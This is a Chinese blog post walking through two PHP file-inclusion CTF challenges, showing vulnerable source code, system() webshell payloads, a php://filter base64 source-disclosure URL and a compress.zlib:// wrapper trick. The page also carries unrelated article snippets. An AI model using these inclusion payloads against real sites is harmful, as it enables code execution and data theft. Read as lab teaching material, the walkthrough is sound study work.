文件上传漏洞最强总结

先看道题

源码

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit('hacker!');
}
if($file){if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";include($file);
}else{echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
?>

访问一下

 点击一下 他去访问百度去啦

 看到file就应该想到文件包含

随便测试一下

 在尝试一下看源码 ,失败啦

 

我们用抓包的方式,但是我没有成功(php版本5.4.45 nginx版本1.15.11)

 

 这边我把老师的图放过来。

再利用system就可以读取flag啦

<?php system('dir'); ?>
<?php system('type flag.php'); ?>

 搞定,后期我把环境重搞一下试试。

我搞定啦

我把php版本调高啦,然后

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据

  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

 第二个那个参数记得去php.ini去改一下

 开始命令执行

再来一道题

介绍一个php伪协议 PHP://FILTER

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

源代码

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit('hacker!');
}
if($file){include($file);
}else{echo '<a href="?file=flag.php">tips</a>';
}
?>

因为他是php文件你肯定看不到

 然后我们需要使用 PHP://FILTER来读源码然后进行解码。

测试代码

http://172.51.47.163/web2.php?file=php://filter/read=convert.base64-encode/resource=flag.php

效果图

 然后进行解码

ZIP:// 的用法

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)

  • 只需要是zip的压缩包即可,后缀名可以任意更改。

  • 相同的类型的还有zlib://和bzip2://

还是刚在的题上面屏蔽zip但是我们有zlib://和bzip2://

直接实战方便大家理解。

先改一个php.ini

 zlib://和bzip2://可以去给你访问解压文件,来解析php。

 注意:记得用7-zip压缩要不成功不了

代码语法

http://172.51.47.163/web2.php?file=compress.zlib://D:/phpstudy_pro/WWW/lnmp/pwnhub/web/phpinfo.zip

效果图

还有压缩的图片

 bzip2我没有成功等我成功再放上来

查看全文

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dgrt.cn/a/2233755.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章:

文件上传漏洞最强总结

先看道题
源码
<meta charset"utf8">
<?php
error_reporting(0);
$file $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"……

CentOS 7 epel yum源

#查看Centos yum源版本 #安装Centos epel yum源 #查看Centos yum源 enable的模块
备注:使用Centos版本如下: [rootlocalhost ~]# uname -a Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Fri Apr 20 16:44:24 UTC 2018 x86_64 x86_64 x86_……

CentOS 7更换阿里或者163 yum源和epel源

#备份默认的yum源 #下载国内的yum源 –163源 –阿里源 #清理缓存文件 //可以不用执行 #生成新源的元文件 //可以不用执行 #安装epel源 #查看yum源和epel源
#备份默认的yum源 [rootlocalhost ~]# cd /etc/yum.repos.d/ //进入yum文件目录 [rootlocalhost yum.repos.d]# ls //查……

python的虚拟环境使用

python的虚拟环境使用
D:>python –version Python 3.8.5 D:>pip install virtualenv
创建虚拟环境projectC D:>python -m venv python\projectC
进入虚拟环境projectC D:>cd python\projectC\Scripts D:\python\projectC\Scripts>activate.bat (projectC) D……

查看配置文件,去掉以“#|空格#|tab #|空行”的行

1,去掉行首的空格或者tab
2,去掉行首是“#|空行” 1,去掉行首的空格或者tab
sed s/^[ \t]*//g /etc/httpd/conf/httpd.conf
将行首空格|tab去掉
2,去掉行首是“#|空行”
sed s/^[ \t]//g /etc/httpd/conf/httpd.conf | grep ^[^#]…

yum 安装 appache php

1,安装httpd,php,php-fpm //php-fpm实际整合的是mod_php,从配置文件中可以看到
2,启动httpd
3,验证(增php测试页,测试) 1,安装httpd,php,php-fpm
[rootnode2 ~]# yum install httpd php php-fpm -y
…………………..……

Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg. Error: open /proc/sel

问题描述:在Centos8系统中,使用docker run时,出现如下报错: Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg. Error: open /proc/self/uid_map: no such file or directory
解决办法&#xff1……

docker image拷贝加载 docker save docker load

解决问题: 在内网下,使用跳板机上下载的docker镜像启动docker
1,在跳板机上下载镜像 2,打包镜像 3,拷贝镜像到对应运行docker的机器上 4,加载镜像到机器上
1,在跳板机上下载镜像 [roothome]# docker pull nginx … [……

INTEL AEP内存 memory mode的创建

1,查看机器AEP内存数量和状况 2,将AEP全部设置成memeory mode 3,重启机器 4,查看AEP模式状况和容量
1,查看机器AEP内存数量和状况 [rootlocalhost ~]# ipmctl show -dimm DimmID | Capacity | LockState | HealthStat……

linux 内存文件系统 tmpfs

linux 内存文件系统 tmpfs 1,挂载tmpfs系统,不指定容量大小,则默认文件系统为总内存容量的一半 2,挂载tmpfs系统,指定容量大小
1,挂载tmpfs系统,不指定容量大小,则默认文件系统为总……

反序列化渗透与攻防(五)之shiro反序列化漏洞

Shiro反序列化漏洞
Shiro介绍
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默……

vue2+vue3

vue2vue3尚硅谷vue2vue2 课程简介【02:24】vue2 Vue简介【17:59】vue2 Vue官网使用指南【14:07】vue2 搭建Vue开发环境【13:54】vue2 Hello小案例【22:25】了解: 不常用常用:id 更常用 简单class差值总结vue 实例vue 模板 : 先 取 &#xff0……

【hello Linux】环境变量

目录 1. 环境变量的概念 2. 常见的环境变量 3. 查看环境变量 4. 和环境变量相关的命令 5. 环境变量的组织方式 6. 通过代码获取环境变量 7. 通过系统调用获取环境变量 Linux🌷 在开始今天的内容之前,先来看一幅图片吧! 不知道你们是否和我一……

【Linux基础】常用命令整理

ls命令
-a选项,可以展示隐藏的文件和文件夹-l选项,以列表形式展示内容-h,需要和-l搭配使用,可以展示文件的大小单位ls -lah等同于la -a -l -h
cd命令(change directory)
语法:cd [Linux路径]……

客快物流大数据项目(一百一十二):初识Spring Cloud

文章目录
初识Spring Cloud
一、Spring Cloud简介
二、SpringCloud 基础架构图…

C和C++中的struct有什么区别

区别一: C语言中: Struct是用户自定义数据类型(UDT)。 C语言中: Struct是抽象数据类型(ADT),支持成员函数的定义。
区别二:
C中的struct是没有权限设置的&#xff0c……

docker的数据卷详解

数据卷 数据卷是宿主机中的一个目录或文件,当容器目录和数据卷目录绑定后,对方修改会立即同步
一个数据卷可以同时被多个容器同时挂载,一个容器也可以被挂载多个数据卷
数据卷作用:容器数据持久化 /外部机器和容器间接通信 /容器……

13、Qt生成dll-QLibrary方式使用

Qt创建dll,使用QLibrary类方式调用dll
一、创建项目
1、新建项目->其他项目->Empty qmake Project->Choose 2、输入项目名,选择项目位置,下一步 3、选择MinGW,下一步 4、完成 5、.pro中添加TEMPLATE subdirs&#xff……

基于mapreduce 的 minHash 矩阵压缩

Minhash作用: 对大矩阵进行降维处理,在进行计算俩个用户之间的相似度。
比如: 俩个用户手机下载的APP的相似度,在一个矩阵中会有很多很多的用户要比较没俩个用户之间的相似度是一个很大的计算任务 如果首先对这个矩阵降维处理&am……

关于hashmap使用迭代器的问题

keySet获得的只是key值的集合,valueSet获得的是value集合,entryset获得的是键值对的集合。 package com.test2.test;import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;public class mapiterator……

Published by

风君子

独自遨游何稽首 揭天掀地慰生平

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注